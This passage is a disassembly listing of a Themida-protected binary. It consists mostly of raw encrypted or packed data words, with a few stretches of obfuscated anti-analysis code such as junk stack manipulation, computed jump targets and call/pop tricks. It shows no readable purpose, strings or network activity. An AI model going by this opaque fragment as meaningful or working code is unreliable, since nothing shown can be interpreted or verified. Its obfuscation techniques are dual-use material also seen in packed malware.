		dd 0C0241EC3h, 64BE18ECh, 0D0788069h, 0C2068AC7h, 1DF09418h
		dd 377C394h, 6F9E3D2Fh,	246A25B0h, 739C57F1h, 0D4C12B26h
		dd 251C62CEh, 0B5197D51h, 0EA53B751h, 3B8A29Fh,	0BAAACAEAh
		dd 0D337D19Fh, 5E221F6Ah, 26AA95EFh, 0A2162177h, 0FC092B6Eh
		dd 0CF94F074h, 271BC394h, 7B8A2EC3h, 41C55881h,	825132h
		dd 0DEBF0000h, 0A617FBDAh, 6AF4665Bh, 941D86C2h, 173109C3h
		dd 0C394A33h, 8AC9D1B8h, 6DB1906h, 0EE3887C9h, 27C89ABh
		dd 14FD0822h, 0FA2B310Ch, 0EA2E92AFh, 0B251463h, 5A65BF68h
		dd 0C0FF07F6h, 0CADBD97Ch, 41C40736h, 622232h, 0BDCA0000h
		dd 81754850h, 56AAA34Dh, 0E2329B6Fh, 271B3A7Eh,	8B1A5E53h
		dd 35271E62h, 1D4703ABh, 67C8C394h, 21CF231Eh, 9595CA46h
		dd 6F01179Dh, 477A8970h, 8B719FF3h, 186FD7DEh, 7B5F66BCh
		dd 0EB5FB397h, 2B5FD761h, 0B2C3941Dh, 95ED6A67h, 1D9AEB7Bh
		dd 5E54C394h, 0F094B54Fh, 1BD3240h, 5B000000h, 0AFED3DEh
		dd 0F17B56A3h, 73C7FE04h, 6865AE1Fh, 0D5AF4ABEh, 32E033D8h
		dd 0ACB441F8h, 6CF7EB56h, 0BD16A32h, 9E0E96E3h,	9F6357BDh
		dd 0BE8E52Eh, 0C8BC899Ah, 87CF002h, 9F3A61D2h, 8BF98DBBh
		dd 0BE3A61D2h, 71826B7Ah, 256E9F44h, 0D23256DEh, 4DB53A61h
		dd 0E334E569h, 72B462D6h, 4C798A73h, 0BFC46597h, 0BFA2C36h
		dd 77BCFF2h, 15810E9h, 6FFC0000h, 39E4760Dh, 296DD1ECh
		dd 98F96DFFh, 15BD9EFFh, 0C8CE3F2Dh, 27C10589h,	89297A23h
		dd 0F4C3D57Fh, 287D2C90h, 7155A91Dh, 0D6DECF1Dh, 19370BFFh
		dd 6964B15Eh, 5BA657E5h, 90BE9266h, 0BCC868BDh,	0DDE03881h
		dd 4D311569h, 0EF149193h, 48B4AF9Ah, 2C35C2A1h,	7088h
		dd 1EBD5400h, 92BFEDEDh, 6737D1F4h, 49DD0F14h, 0C394656Dh
		dd 0DC14F8C2h, 0C39465A8h, 3D7570AAh, 8517C55Eh, 6597F37Bh
		dd 2218C394h, 65447004h, 5746C394h, 0B990E341h,	0A0ACAB45h
		dd 946A780Ch, 978BCFC3h, 76E91645h, 0EF6913CBh,	9BB5A998h
		dd 9DEF4CD8h, 403C1747h, 65E9E82Eh, 3C23CD21h, 9Ah, 0F2988B30h
		dd 15221F6Ah, 0D37DD506h, 4150BD6Dh, 447B8108h,	2A729CF0h
		dd 0F223C952h, 0F47690ADh, 9F053170h, 0D722D3BDh, 4B3216FAh
		dd 66E5033Eh, 0F84C7389h, 4BBAA084h, 47BB0F32h,	249BA1A9h
		dd 146AC46h, 1FEE18C8h,	0CB243F0Ah, 373F83BEh, 3A608168h
		dd 4FB43163h, 8AD40F3Ah, 128369F2h, 0D9ADC10Eh,	0AE3A6081h
		dd 14D67054h, 71668C90h, 0EB5FA344h, 70C4F102h,	683ECFC5h
		dd 30DD0F14h, 19387EEAh, 8C7D5125h, 0CC9E4879h,	678D5458h
		dd 4C97EB4Eh, 0F6CDD5C0h, 0D6FE258h, 777E476h, 35E7AD7Eh
		dd 0EE06E806h, 0BD8526E2h, 40FF6D55h, 0B9DDB807h, 321630A9h
		dd 72169E28h, 0F53A7A95h, 483C0D18h, 17F61074h,	0C32C3702h
		dd 90F940B6h, 9A3D63D3h, 0E112D2A6h, 44ABE081h,	0C8B10530h
		dd 0CA388CBDh, 49B9D5D0h, 58AD5253h, 3340FF6Dh,	0D0976963h
		dd 769750FEh, 9EAC102Dh, 59887B21h, 0FD2B47E4h,	47CB0A10h
		dd 45CFDEDAh, 9DE64258h, 84F8DCA0h, 176DDC30h, 0FA0FFE28h
		dd 8E724F5Ah, 5784564Ah, 56B03A2Ch, 0D89BB5F1h,	9519DA2Fh
		dd 44C042F1h, 0A4280C76h, 3E3h,	9C840D00h, 9FDD4DEh, 967A57A0h
		dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh,	71C5FC02h
		dd 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h, 0EF830000h
		dd 243C8704h
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	esi
		push	182322C9h
		pop	esi
		shl	esi, 2
		dec	esi
		add	esi, 47774B87h
		xor	esi, 0AE11F3EFh
		push	esi
		pop	edx
		pop	esi
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 8
		add	ecx, eax
		push	edx
		pop	dword ptr [ecx]
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		movsb
		fcom	qword ptr ds:6BEF5BFEh
		mov	al, ds:7CBE9585h


loc_5AEB36:				; CODE XREF: Themida_:loc_5AE5E4j
		mov	eax, 61229F9h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 95h
		dd 63692924h, 53544CBBh, 3F0C56D1h, 37328C6Dh, 345351A1h
		dd 0EF3F3A4Ah, 0EA4E5EBAh, 8D6F714Ch, 0A053C3Ah, 49762FCAh
		dd 9011C65Eh, 9A45E6E4h, 17394E73h, 0B513ABD0h,	853DA2ABh
		dd 0A82937BDh, 90462B00h, 6366C4A1h, 5C2CA48Ah,	0F8115DDEh
		dd 0EB283535h, 0C7AFE304h, 52EE97Eh, 0D2240000h, 788F78FBh
		dd 2E7DAA49h, 0DF27C013h, 8E9273E0h, 0CE15ACB7h, 9EAD52Fh
		dd 0B9BA879Ch, 0D60D384Ch, 2D1EC39h, 8FFB73F9h,	0C58637h
		dd 0D5DECBB1h, 5FA514F8h, 0BD68FA60h, 0F793536Eh, 78C3941Dh
		dd 5C63BB02h, 0C3D431B2h, 4E5B02F6h, 1D656185h,	90EAC394h
		dd 1661C8BCh, 52917AE0h, 2D01E4DAh, 0AFB6959h, 8325C3FAh
		dd 0F70FFE02h, 0DA2F1EC8h, 8D9B74EFh, 961EA8B2h, 0C3943DF2h
		dd 0E30D75h, 370A1984h,	0D5E03419h, 5E63B861h, 0C6F903EAh
		dd 44E872h, 87C3943Dh, 8CB9CAB3h, 0D3D2C838h, 870682BFh
		dd 243F161Eh, 3F83BECBh, 943D5637h, 8B1A90C3h, 4110D871h
		dd 67F132h, 0BD1F0000h,	7269A81Eh, 65EC2B22h, 0EB628CFDh
		dd 17DFA39Eh, 0C3945175h, 16EAFBB1h, 32413CF7h,	1D2h, 0D7DE3A00h
		dd 372B166Fh, 2B8B9A43h, 3B1FE3DEh, 748A73C7h, 8C209F4Dh
		dd 0C58125F8h, 4AC39468h, 0F79CC770h, 8DC54DFBh, 63921697h
		dd 409271Ah, 714C55F1h,	0DC29C61Dh, 45E97BE1h, 0C3947301h
		dd 0D192BC86h, 0FBDADE23h, 625FA617h, 0E7E6209Eh, 11DBFA3Eh
		dd 0CEFD34AAh, 0C2068AC7h, 0F3848435h, 0A9169255h, 0A65A6972h
		dd 0CA43ED99h, 51388CB9h, 0D2BB0F42h, 57068AC7h, 0D08E724Dh
		dd 86BBD7D6h, 76DE2BDAh, 6AAE122Fh, 0CFDED876h,	41A60435h
		dd 0B72D32h, 0DECB0000h, 3E6220DAh, 0D6ABDF57h,	0C63CC394h
		dd 0D7D5A039h, 535E0FF3h, 0DB238A7Eh, 0E476B03Fh, 0FCD08889h
		dd 645BA108h, 6D78B290h, 0EAFB3111h, 1AC0FF05h,	0F4606488h
		dd 93E7C394h, 0F4A12549h, 0DC26C394h, 4C54B132h, 0E93AEB71h
		dd 0B90D3049h, 629D6145h, 80331D99h, 3A83E7E7h,	1468DCE9h
		dd 0D9C416FAh, 0CA0EF2C1h, 1CE9311Ch, 9457FC88h, 2B0F73C3h
		dd 0F7F6A2A7h, 413CDC1Dh, 0C5D3C232h, 24C2068Ah, 475Dh
		dd 0DADEBB00h, 0BBC517FBh, 0A4B72004h, 43835974h, 0C394CE07h
		dd 0B994B288h, 89EC506Fh, 386B3CA3h, 5D0C1E79h,	0FF4F1B3h
		dd 9F29CAF5h, 12F266Eh,	0FAD7DE1Bh, 1DAFDE16h, 2D67C394h
		dd 0F0C168A0h, 1E83240h, 74000000h, 0AFED3DEh, 15CF9BC0h
		dd 0E9C3A2DDh, 7EC5CE3Fh, 0BB4B768Fh, 0C39477CFh, 29DD7A40h
		dd 0DD8FBBCBh, 0E31EE2C6h, 5D68BC69h, 0FF4F1B3h, 9A16CDFCh
		dd 3AE0E408h, 1367C394h, 48D3A9F5h, 85AB10A2h, 755B37DCh
		dd 9D986C9Ah, 52BD9E2Ch, 0E035E468h, 94E10ED5h,	6F1DD5B9h
		dd 5A3A61B0h, 98058F1Eh, 0BA93BD80h, 1F8E5C69h,	6B0C3A05h
		dd 8E5C69BAh, 0E7AF27Ch, 813A61B0h, 0B0DDA9B9h,	68523A61h
		dd 96E34ABEh, 2F69D7BBh, 112C799Eh, 0B03446C2h,	3A61B0D4h
		dd 96A3F25Bh, 608AEE22h, 61B0B8CCh, 1DCB0F3Ah, 369E0A23h
		dd 10F272Ch, 6FC10000h,	40E4760Dh, 0BD9EFF11h, 47B6A49Eh
		dd 67EB0534h, 0EA66DB6h, 3A60CF7Ah, 484AF5CDh, 31EA7400h
		dd 0AA263D11h, 7F273D35h, 0AE58DF09h, 8B7F4A5Fh, 10E4D122h
		dd 0B8616CA6h, 81B0C76Fh, 7EE5D93Dh, 35206B82h,	3D462Ch
		dd 0BDAE0000h, 85744550h, 14A8467Dh, 0C66EFC87h, 0C3941DD2h
		dd 9CADF855h, 0CF0D428h, 941DA024h, 6D78B2C3h, 0FDD6635h
		dd 941DB3E7h, 262D9C3h,	5D59C2A8h, 0B9817EA8h, 875BBAh
		dd 6FE50000h, 40E4760Dh, 0BD9F0521h, 3C948FAEh,	90592428h
		dd 0DBAFB815h, 32160AB2h, 0BF8A9F4Eh, 33E4BA4h,	47E8B7BFh
		dd 44573A60h, 0C0D88175h, 0E33909FDh, 4F95A8E2h, 714C59BEh
		dd 53E8B4E2h, 39041C89h, 88C95D0Fh, 48447258h, 0D17F4A5Dh
		dd 0D5840872h, 0D567F5C0h, 76323551h, 0A640BA30h, 0F0FDB7A2h
		dd 9359E2BAh, 3299ED01h, 816E3076h, 97EB5F72h, 53DB95B3h
		dd 4E642D02h, 673699C6h, 0A77B687Eh, 0A3B08A89h, 0E30D6F55h
		dd 9D3A79Ah, 941DE1E5h,	381C66C3h, 1DCEBA32h, 7941C394h
		dd 1E5FD705h, 0AFBD8602h, 0CB55E76Bh, 79C827A3h, 625FA63Ah
		dd 0E5DDBA9Eh, 84B1C24Bh, 6865AE5Fh, 7AC24CE4h,	0C8E2B5ACh
		dd 0F6C3D43Dh, 0DD51E36Dh, 428C28A9h, 232AC43Eh, 2F266ED6h
		dd 6BF547CBh, 8C2887C3h, 14320842h, 6ED2E139h, 0CF34B1F3h
		dd 0D35D8FBAh, 8C282F5Bh, 0AC5AA042h, 0FCC9DACBh, 10B708h
		dd 78A50000h, 440E42Fh,	8B428C28h, 4FB553B7h, 0D4DE9C84h
		dd 57A009FDh, 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h
		dd 0FC02EB5Fh, 798871C5h, 0FA0DFC40h, 51CF7BCFh, 0C181E189h
		dd 4, 8704E983h, 895C240Ch, 3E68240Ch, 8900001Eh, 89532414h
		dd 4C381E3h, 83000000h,	1C8704EBh, 34895C24h, 4DA46824h
		dd 3C890000h, 2AFABF24h, 0FA890612h, 4EC835Fh, 83242489h
		dd 5E042404h, 0D6895651h, 895EF189h, 0FF59084Eh, 815E2434h
		dd 4C4h, 2434FF00h, 4C4815Ah, 0E9000000h, 0FFF94F1Bh, 0E4506B3Fh
		dd 0E0EB5122h, 0CEFB25ADh, 122FAFB8h, 0FFC50306h, 178EE7E0h
		dd 50D55B4Bh, 0A66C0665h, 0E9CA416Eh, 4F356911h, 1DD50118h
		dd 35DD4101h, 848ED205h, 3367080Eh, 75782949h, 0C0263230h
		dd 5E04EB60h, 0E9348C04h, 53Bh,	8E556CB6h, 383B1661h, 568DBCCFh
		dd 815261B9h, 32211C64h, 7B815C83h, 296E9F44h, 0D6DECF14h
		dd 7E8B64FFh, 816B9043h, 862D196Dh, 0B91FEEC5h,	0E60ED5DEh
		dd 0C3941DE2h, 743EB65h, 88C3941Dh, 967A5EB2h, 2E77DD27h
		dd 0B9FEAF13h, 0F8DC3084h, 40340B11h, 0DACB280Ch, 0F16EFCC9h
		dd 2F78C03Ch, 48C06E1Bh, 0D5B994E1h, 63B51164h,	48ACE054h
		dd 17968CC4h, 0E73DA5EEh, 3C1074D8h, 87BEC627h,	6A65B35Ch
		dd 8EE37E6h, 0A0E92BA3h, 9D337DEh, 0D5B9849Ch, 71AB46F1h
		dd 0EEED711h, 7FCD68E0h, 7F0D79EDh, 0B882C394h,	7099148Eh
		dd 0DDCA2924h, 0D909FDC8h, 0C3947FA8h, 1FE3DE2Bh, 9A6E63AEh
		dd 0EF7570AAh, 947F0347h, 5ABE84C3h, 2FE5E0BAh,	324152FEh
		dd 7B2Bh, 0D5DE3500h, 3D2F1A6Dh, 941DDDA9h, 746852C3h
		dd 0B4D054E6h, 3BC3941Dh, 12129C7h, 0C3941D43h,	379BB2C2h
		dd 0B3073E46h, 1D4105A9h, 0FCC6C394h, 8B119C96h, 941D6763h
		dd 0BE92E8C3h, 0B810C86h, 3240F0E2h, 0E3DE2DD8h, 1BC45h
		dd 0DE580000h, 0EC980CD7h, 63C3941Dh, 0F94D748Ah, 33BBA185h
		dd 0C3941D57h, 3A8EE2D8h, 81754453h, 0FF3C2D8h,	3BE0EDC7h
		dd 0E906DDECh, 42B2A19Ch, 17FBDADEh, 9E625FA6h,	3EE7E620h
		dd 0EF18DBFAh, 72DBAF9Ah, 0A3A62A27h, 0DD1CF4F1h, 0D43240F2h
		dd 78h,	0D6B23A44h, 59C39417h, 0DE51C761h, 2A276EDAh, 0BA0E62A6h
		dd 589C0D3h, 8D714C54h,	1A69CDDCh, 177FC327h, 96FE901Dh
		dd 90E8119Ch, 4359B6ADh, 3042887Ch, 941DC8BCh, 0DF591FC3h
		dd 513D2A73h, 0D72D9CE6h, 0B7CF3EE8h, 93010488h, 83FFE12h
		dd 426A3241h, 0F2000000h, 71FBDADEh, 3EB67184h,	0C3941D4Ah
		dd 3881E5DDh, 0DD35D3E2h, 592D186Ch, 68911C44h,	0CE362D10h
		dd 16FAD7DEh, 0FDC0D9C4h, 1DC28353h, 760CC394h,	0F16C9D77h
		dd 6453240h, 0D7000000h, 48E6DB26h, 0FED3DED2h,	7B56A30Ah
		dd 9F2E6A97h, 0CD162B76h, 0C9BD3143h, 50C3941Dh, 4D817548h
		dd 5E5E88F2h, 0BF37253Eh
		dd 0BD9EFCBAh, 1AC3B78Bh, 0B12E3C09h, 0C25DE87h, 99B8FEB9h
		dd 3FE88BA5h, 0C394AEAh, 3CB0C228h, 3A608D48h, 0C54DFBDFh
		dd 608D1F6Dh, 0FF0E2A3Ah, 743EB75h, 0E53A608Dh,	608D0541h
		dd 0C7B08A3Ah, 0AFF855F3h, 0EDD79F49h, 0FCD0AAB9h, 6A76E567h
		dd 74127269h, 256EDF09h, 6796A428h, 795D2110h, 18357ECFh
		dd 6FD523D2h, 41352918h, 5A67BC0Dh, 0B8FAA4ACh,	86B3C42Dh
		dd 0F850A954h, 8EB89CADh, 0EB022BD5h, 83382C35h, 0CCD8EB36h
		dd 5D4846F1h, 4BE07997h, 0C000001h, 96E30D6Fh, 119547BBh
		dd 0BD9EFF60h, 0F867F5CDh, 4256BDCCh, 0A723C473h, 26AA95EFh
		dd 0E8608EE2h, 1AD9F401h, 0D9AD98EDh, 0A62A2770h, 0A52FBEF8h
		dd 0F6102978h, 2C370217h, 0EA9E16A0h, 7D3A609Bh, 0D871EB05h
		dd 0F12C3576h, 6Eh, 0BB33BD1Fh,	0C3941DCFh, 6C188C40h
		dd 0E3C3941Dh, 318DBB9Fh, 0FB8F276Ah, 4CC3941Dh, 93C81276h
		dd 0C98D8E2Fh, 2A5ED6ABh, 0BDC3947Fh, 25C76145h, 947F9581h
		dd 0EF359AC3h, 0DC6EFCD0h, 947F3C48h, 5E65BDC3h, 0D12996EAh
		dd 7713D337h, 6DC3947Fh, 97E4BA4Bh, 7300F19h, 0D96DFB27h
		dd 0EDC30E4h, 9491B2E6h, 964DB5C3h, 916Fh, 0D6F8900h, 34031580h
		dd 80C40C40h, 7C3941Dh,	990DDF33h, 0BD9F05C8h, 6059A805h
		dd 0A756639Ch, 80455976h, 76C448ACh, 0F3477287h, 8B9C719Fh
		dd 3F48A5BEh, 0CDB18097h, 35479589h, 3A8EB3C8h,	117A0EC6h
		dd 0F5CD3A60h, 307FF75Bh, 3B3A6010h, 0F207ECF9h, 2B901CC7h
		dd 0E2343C88h, 0AFEF19C5h, 0A4B6CDh, 4472661Fh,	0F7A62A10h
		dd 362397A2h, 3CE97372h, 8168DCEDh, 92F65A79h, 700C90BEh
		dd 0C2ED01EBh, 0B34E6437h, 0ED18944Fh, 0E024A897h, 0D6FD046h
		dd 5F40E476h, 0D0BD860Dh, 3B1F2A7Fh, 0A09DE657h, 744152B3h
		dd 0B4D054E6h, 3B3A79CDh, 12129C7h, 6BE7DDBFh, 1B800D27h
		dd 0A420330Eh, 83F6921Ah, 17904DBh, 201D66E7h, 5895ED5Ch
		dd 0DB83B0D4h, 0EFC33704h, 0F7BF37Dh, 8004DB83h, 99848CBAh
		dd 10658A1Bh, 0C4D13E25h, 88370589h, 73532A69h,	877CAA20h
		dd 1Bh,	0C233BD21h, 0DC3084B1h,	941D7014h, 6583F7C3h
		db 0B2h, 36h, 89h
byte_5AF59F	db 0EAh			; DATA XREF: Themida_:loc_56F04Fr
		dd 9707D2AAh, 0DE6AD07Eh, 0A009FDD4h, 27967A57h, 0AB12E6D1h
		dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
		dd 0CF7BCFFAh, 51E28952h, 4B9h,	59CA0100h, 8704EA83h, 685C2414h
		dd 757h, 68243C89h, 4A1h, 55242C89h, 127FABDh, 86EBF62h
		dd 0EF01A411h, 83242C8Bh, 8B5404C4h, 0C483242Ch, 0BF575304h
		dd 5AB353C5h, 0B353CDBBh, 5FFB315Ah, 3B89EB01h,	242C8B5Bh
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h
		dd 9CE904C4h, 0F3FFF949h, 0E5601CD3h, 0B89887CAh, 6123528h
		dd 0E0FFC503h, 1E62C495h, 38559B43h, 773BA587h,	15EA553Bh
		dd 4639202Ah, 1A606C1Bh, 0C1C3892h, 1B128C23h, 64F10BC9h
		dd 2144FC08h, 58A81746h, 463C84CFh, 60F89ED8h, 36BD8D8Dh
		dd 810F0612h, 3, 89DA8B66h, 0B174D8Dh, 13E806h,	65080000h
		dd 2EB03871h, 0F94D7B18h, 14DEB83Dh, 6F40EBF1h,	0A1958909h
		dd 5A060B22h, 10E9h, 23061D00h,	17653E1Dh, 4765AEE6h, 8395C814h
		dd 1985C79Fh, 28060B01h, 6A000067h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 2D3C352h
		dd 3D97BBC3h, 8A7CB036h, 17CDBD89h, 85C7060Bh, 60B1009h
		dd 0
		dd 890Fh, 0B5FF0000h, 60B0FD5h,	7E8h, 8EFD5200h, 7841E7E6h
		dd 5E9h, 0CD696500h, 815B4520h,	76B17BC0h, 0C595FF6Dh
		dd 6A060B0Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0A870C350h, 6AFB55h, 32DD95FFh
		dd 0C08B060Bh, 1B4A3CEBh, 9AB79EF2h, 8C5858C4h,	0DAC3D308h
		dd 0A58F6DFh, 111D356h,	12B43B59h, 81B91087h, 431F5343h
		dd 0F38B24D1h, 0A6B95F21h, 0C0C63281h, 0C318942h, 0D24675E1h
		dd 70CD39C7h, 4EBA7C2h,	62C42642h, 50CE9h, 0F4C3D700h
		dd 5A77BE6Fh, 2C1D6C99h, 0F1C0D637h, 407F8562h,	0DE3D2493h
		dd 8F78FBDAh, 7FA84B76h, 28C51E29h, 8871E2DFh, 2AB8CC60h
		dd 400FC586h, 6DD5DED8h, 7B5F231Eh, 0B6CAB307h,	4ED8548Fh
		dd 0F57D4C5Fh, 0C3941D91h, 0B022C16h, 0ED7FC3FEh, 0B723054Eh
		dd 87A11332h, 9A407D86h, 0E0E0E408h, 1367C394h,	59AC1DF5h
		dd 76ACE468h, 0F400ED77h, 0CB1175D9h, 94E027A3h, 0B452A8C3h
		dd 0E2714C59h, 1FC4F305h, 0DBAFA6EEh, 0AC102D72h, 0BFCA3BB1h
		dd 2CDA3E82h, 82927B8Ah, 2A7FA84Bh, 6F94768Ah, 47384D95h
		dd 0AB1F7357h, 9416CABBh, 7F8E04C3h, 40FC6485h,	444D32h
		dd 2EDF0000h, 0D93FE9E8h, 14F8D5DEh, 941DAEDCh,	0A12C66C3h
		dd 0AE9BEA1Bh, 0F16F9E80h, 15A3240h, 0A2000000h, 16FAD7DEh
		dd 0FDC0D9C4h, 9EABFA53h, 43B432Ah, 4B5A50B0h, 0F5C0D4C1h
		dd 96A3F25Bh, 7A57A04Dh, 0DADE1BF9h, 5FA617FBh,	2E209E62h
		dd 0C36BACFFh, 0C3941D87h, 6ADE3208h, 2FBEF816h, 5083B2C6h
		dd 855762B7h, 1D97F37Bh, 2218C394h, 4E5D0C04h, 0D9DE8F73h
		dd 5EA910E4h, 0E7219F63h, 0EB7194E6h, 28F78474h, 29C7D7B0h
		dd 538A7E8Fh, 5E324140h, 7Bh, 0FAD523D2h, 2E143216h, 17FBDADEh
		dd 0A9BD5BA6h, 21873BF5h, 1990F478h, 2317C394h,	18357ECFh
		dd 3A705024h, 0A0F421ABh, 379E854Eh, 160A460Bh,	4DC06EA2h
		dd 3AEB0837h, 826BDFE6h, 5CF1457Ch, 8AB34944h, 0A7324119h
		dd 5Dh,	0FBDADE41h, 46738471h, 259AA0A8h, 35933231h, 36BEACEBh
		dd 0C3947B52h, 0CA43EDD5h, 0FA3F83BAh, 0B2C62FBEh, 7B95F175h
		dd 201AC394h, 0DEE117CCh, 0EC980CD7h, 63C3941Dh, 9F573B1Fh
		dd 0C3941DEEh, 237BAA38h, 6F437E89h, 12E6E7C1h,	3240F0FBh
		dd 0F7CED4C1h, 5821CF03h, 1, 0FED3DEA4h, 7B56A30Ah, 54E66A97h
		dd 941DB4D0h, 0EBE635C3h, 0B5542367h, 0A4420E62h, 6987FB33h
		dd 4A59BE4Fh, 0EF38E577h, 2C136BD2h, 67356102h,	0B90D3049h
		dd 73FB6145h, 0BD9E0966h, 0E93E35AAh, 0DDC58E7Eh, 1AEED433h
		dd 816B66B3h, 287D365Ah, 3B1FE3D2h, 0DEFECE1Ch,	0F150AB7Ch
		dd 123C1091h, 2145D751h, 3A618AA5h, 0D736D02Ah,	2303F7C2h
		dd 3A618AA1h, 9B13D024h, 3A618AEFh, 52261A60h, 0DAAE91EBh
		dd 0D7AB3A7Ch, 9E0786D2h, 4ABBB895h, 0D1B80C39h, 5B0589C4h
		dd 0D9C44C59h, 0F855F3CEh, 5D4892AFh, 4B8F734Eh, 0F3EDA9Dh
		dd 3A2C3688h, 0FEh, 760D6FC2h, 0FF1140E4h, 0A49EBD9Eh
		dd 211C69D0h, 0F5C0D532h, 724F5801h, 0D7D6D08Eh, 0BE8E52Eh
		dd 35C36089h, 5D492Ch, 6F970000h, 5BE5770Ch, 0C36D54AAh
		dd 941D0733h, 0C81268C3h, 4EF8C7DDh, 64CB70FAh,	0A153500Fh
		dd 82E6D127h, 0CDF49064h, 26753C6Bh, 0A1F6A72Bh, 0EDD82D9Ch
		dd 6865BF19h, 0EBFA3C16h, 8953E8B3h, 6BCD3165h,	55AA5B3Ch
		dd 289CABFDh, 0F956F0D4h, 0FE60AE5Ah, 1276BAF7h, 7832C1h
		dd 0BD5A0000h, 969E4A50h, 93F7CBBFh, 613DEB2Fh,	83C1DB1Bh
		dd 6373FC13h, 1849DD0Fh, 55BD9FF0h, 0E730996Dh,	0EFF09EAh
		dd 347CB0Ah, 221F68E5h,	0D7C9965Eh, 90C03A61h, 0AE9BEC15h
		dd 8893E9B5h, 0C2BACA62h, 0CD354473h, 0FD02F379h, 0D22726C0h
		dd 0F7C675E7h, 471DDD5Dh, 0AB56BA54h, 0F686DCE9h, 1777FF6Dh
		dd 984E65EEh, 5D726479h, 45C6BDC9h, 0FC8322Eh, 50B42555h
		dd 0D6F7583h, 360D1580h, 82C60E42h, 5C3941Dh, 8113D93Dh
		dd 0ADC10E14h, 0C3941DD9h, 8C7054AEh, 0B6D69E48h, 39BD8608h
		dd 0B1A41BC1h, 89A8138Fh, 70D931DFh, 0DCC92A27h, 0DA0AFECBh
		dd 99AFF67Eh, 58414C66h, 4E1724Fh, 0A714C6F3h, 0C8C6FEFEh
		dd 5A778202h, 0ACBE92F6h, 83324C38h, 51FFC356h,	0CB0A10F9h
		dd 6B1F9721h, 91568332h, 8332691Dh, 3B84FE56h, 342129C7h
		dd 7F88717Ch, 85179142h, 83326561h, 0F305EA56h,	381C70C4h
		dd 0DFEA3F0Eh, 3946Bh, 843C0000h, 0FDD4DE9Ch, 7A57A009h
		dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh
		dd 40798871h, 0CFFA0DFCh
		db 7Bh,	0CFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	72F2h
		mov	[esp], eax
		push	61ACh
		mov	[esp], edx
		push	edx
		push	3A5C5EA1h
		pop	edx
		dec	edx
		sub	edx, 344A2797h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	3678h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	eax
		add	dword ptr [esp], 5CD313E1h
		pop	dword ptr [edx+8]
		push	eax
		mov	eax, 651146E0h
		not	eax
		sub	eax, 3742024Eh
		dec	eax
		sub	eax, 6D9A2EFh
		sub	[edx+8], eax
		pop	eax
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 4Ch
		dd 8FA9DC78h, 77520CECh, 0C32CC656h, 3B6EB8BDh,	0C5030612h
		dd 52D6E0FFh, 6C9756CFh, 30AE24EEh, 7844114h, 50152638h
		dd 8ED62E0Dh, 0A05B22CAh, 0ED877B5Eh, 2D432BD5h, 1B391F84h
		dd 15517ABAh, 1C90315Ah, 1BF215FBh, 0BA752A30h,	0F189084Ah
		dd 56626533h, 746B0FA4h, 0CF5550ABh, 445C2588h,	0A76A23D2h
		dd 3A0D264Ch, 99D910A3h, 0CDE95DDDh, 0CF9B6868h, 0B3993A7Ah
		dd 422675A1h, 58B30397h, 775490Ah, 0B8C07379h, 225B0191h
		dd 8D8D2625h, 6123D5Bh,	0E860Fh, 89600000h, 0B05AD85h
		dd 65B52306h, 61060B2Ah, 174D8D89h, 6A060Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 528FEFC3h
		dd 0C7ED27A8h, 0B011985h, 5D1406h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 85C7B41Eh
		dd 60B1009h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+60B3365h]
		push	dword ptr [ebp+60B2705h]
		push	0
		push	edx
		call	sub_5AFDC3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AFDC3	proc near		; CODE XREF: Themida_:005AFDBBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5AFDC3	endp

; ---------------------------------------------------------------------------
		db 0E9h
		dd 0B06A41h, 891A4352h,	3800FF9h, 80000000h, 0BD3111F3h
		dd 60B0FB5h, 0AC595FFh,	0E281060Bh, 3EE7F7EEh, 95FF006Ah
		dd 60B32DDh, 6BEBC08Bh,	3EA10E7Ch, 0A8EE9A81h, 5EC837B3h
		dd 94DB3696h, 6393804Eh, 0F057B7B1h, 300A3A7Eh,	8F0E823Eh
		dd 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h,	0A8E50E98h
		dd 51C459F0h, 0D71F07F5h, 0D97FE656h, 20147FCBh, 0D997F7C2h
		dd 0DA674033h, 0FF4EAD6Bh, 0FAE7B94Eh, 7CCD8D7Fh, 6CCF1AB1h
